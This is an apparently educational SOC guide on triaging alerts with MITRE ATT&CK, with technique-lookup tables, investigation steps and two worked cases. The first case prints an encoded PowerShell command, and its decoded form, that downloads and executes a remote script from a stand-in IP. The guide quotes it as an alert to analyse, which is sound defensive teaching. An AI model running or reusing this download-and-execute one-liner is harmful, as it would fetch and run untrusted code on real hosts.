Fundamentals

MITRE ATT&CK for Triage

How SOC analysts use MITRE ATT&CK as a practical triage tool -- mapping alerts to techniques, finding technique IDs from events, and using the matrix to guide investigation without taxonomy dumping.

View on Graph

What MITRE ATT&CK Is and How Analysts Actually Use It

  • MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
  • It is the common language of threat analysis — when one analyst says “T1003.001,” every analyst knows they mean “LSASS memory credential dumping.” The framework is organized into matrices (Enterprise, Mobile, ICS) with columns as tactics (the “why” — Credential Access, Lateral Movement, Exfiltration) and cells as techniques (the “how”).
  • Each technique has a unique ID (T1003), sub-techniques refine it (T1003.001), and every technique includes: a description, detection guidance, data sources that provide visibility, and mitigation recommendations.

The Triage Workflow — Finding the Right Technique ID

Most analysts don’t use ATT&CK by memorizing the entire matrix. They use a workflow. Here is the practical approach:

Step 1 — Read the alert, extract the action

Take any alert and ask: what did the adversary actually do?

Alert DescriptionExtracted ActionLikely Tactics
”Suspicious PowerShell from Office”Office process spawned PowerShellExecution (T1204), Defense Evasion (T1055)
“Failed logins from multiple accounts”Authentication attempts, many usernames, one sourceCredential Access (T1110)
“DNS queries to known bad domain”Malware beaconing to C2Command and Control (T1071)
“New admin account created on DC”Account creation + privilege grantPersistence (T1098), Privilege Escalation (T1078)
“Large outbound file transfer at 3 AM”Data moving outside the networkExfiltration (T1048)

Step 2 — Determine the tactic (the “why”)

Now ask: why would an attacker do this? What are they trying to achieve?

ObservationTacticWhy
PowerShell from OfficeExecutionAttacker is running code on the host
Logins from many accountsCredential AccessAttacker is trying to get credentials
DNS to bad domainCommand and ControlImplant needs instructions
New admin accountPersistenceAttacker wants a backdoor if they lose current access
File transfer at 3 AMExfiltrationAttacker is stealing data

Step 3 — Find the technique (the “how”)

Now use the MITRE website, Navigator, or a local copy to find the specific technique ID. The navigation pattern is:

  1. Go to attack.mitre.org or open ATT&CK Navigator
  2. Click the tactic column (e.g., “Execution”)
  3. Scan the technique names for what matches your observation
  4. Click through to check the technique description, detection guidance, and data sources

Quick-reference lookup by behavior:

BehaviorLikely Technique ID
PowerShell.exe spawned by OfficeT1204.002 (User Execution: Malicious File)
Failed login attemptsT1110 (Brute Force)
Successful login from new IPT1078 (Valid Accounts)
Process injection detectedT1055 (Process Injection)
Registry Run key modifiedT1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)
New service createdT1543.003 (Create or Modify System Process: Windows Service)
WMI persistenceT1546.003 (Event Triggered Execution: WMI Event Subscription)
Scheduled task createdT1053.005 (Scheduled Task/Job: Scheduled Task)
DNS query to DGA domainT1568 (Dynamic Resolution)
LSASS process accessT1003.001 (OS Credential Dumping: LSASS Memory)
DCSync replicationT1003.006 (OS Credential Dumping: DCSync)
SMB file copyT1021.002 (Remote Services: SMB/Windows Admin Shares)
RDP connectionT1021.001 (Remote Services: Remote Desktop)
Data to external IP on port 443T1048 (Exfiltration Over Alternative Protocol)

Step 4 — Use the technique page to guide investigation

Once you have the technique ID, read the MITRE page for that technique — specifically these three sections:

  1. Detection — MITRE tells you what log sources to check for this technique. If the detection guidance says “Monitor for CLI arguments with suspicious words like Get-Keystrokes,” that’s your investigation next step.
  2. Data Sources — MITRE lists the platforms and data sources that provide visibility. If it says “Process: Process Creation” you know to check Windows Event 4688 or Sysmon Event 1.
  3. Mitigations — Sometimes you need to understand how the technique is blocked to understand the detection boundary (e.g., “Enable LSA Protection” for T1003.001).

Step 5 — Map to the kill chain

Once you know the technique ID and tactic, map it to the intrusion stage:

Kill Chain StageATT&CK TacticsYou Should…
ReconnaissanceReconnaissance, Resource DevelopmentCheck for scanning from this IP against other targets
Initial AccessInitial AccessCheck the entry vector — email, VPN, vulnerability
ExecutionExecution, PersistenceCheck for follow-on process activity
Lateral MovementLateral Movement, Credential Access, DiscoveryCheck which hosts the attacker has moved to
C2 & ExfiltrationCommand and Control, ExfiltrationCheck outbound connections, DNS, data volumes
ImpactImpact (ransomware, destruction)Begin containment — assume full compromise

Practical Use Cases

Use Case 1: Alert — PowerShell EncodedCommand

Alert: Sysmon Event 1 — `powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=

  1. Extract action: Office spawned PowerShell running encoded command
  2. Tactic: Execution (TA0002)
  3. Technique: T1059.001 (PowerShell) — can refine to T1204.002 (User Execution: Malicious File) if triggered by user opening a document
  4. MITRE page says: “Monitor CLI arguments for suspicious PowerShell commands like -EncodedCommand”
  5. Investigation: Decode the base64 → reveals IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.1/payload.ps1') → confirms C2 fetch → check for outbound connection to that IP

Use Case 2: Alert — Impossible Travel

Alert: Azure AD — user logged in from New York, then from Moscow 15 minutes later

  1. Extract action: User logged in from geographically impossible distance in short time
  2. Tactic: Initial Access (TA0001) or Credential Access (TA0006)
  3. Technique: T1078 (Valid Accounts) — stolen credentials being used by attacker. Sub-technique: T1078.004 (Cloud Accounts)
  4. MITRE page says: “Monitor authentication logs for anomalous access patterns”
  5. Investigation: Check if MFA was passed, what resource was accessed, whether the user has reported unusual activity. The New York login was legitimate user; the Moscow login is the attacker.

Common Mistakes When Using ATT&CK for Triage

MistakeWhy It Is a ProblemBetter Approach
Memorizing all technique IDsWastes time and causes confusion. The matrix has 600+ techniques.Know the top 30-50 most common. Use search for everything else.
Mapping to the wrong tactic”This is a Credential Access technique” when it is actually PersistenceAsk “what is the attacker trying to achieve?” not “what tool did they use?”
Ignoring sub-techniquesT1110 includes password guessing, spraying, and stuffing — very different behaviorsAlways go to sub-technique level when the technique has them.
Over-mappingTrying to map every event to a specific T-codeNot every alert needs a technique ID. Only map confirmed malicious activity.
Tactics as truthMapping technique to “Persistence” does not confirm it is only for persistenceMany techniques serve multiple tactical purposes. Document the full context.
Not sharing the technique IDYour written incident report should include technique IDs so everyone understands the adversary behaviorInclude T-code in every incident report.

Sources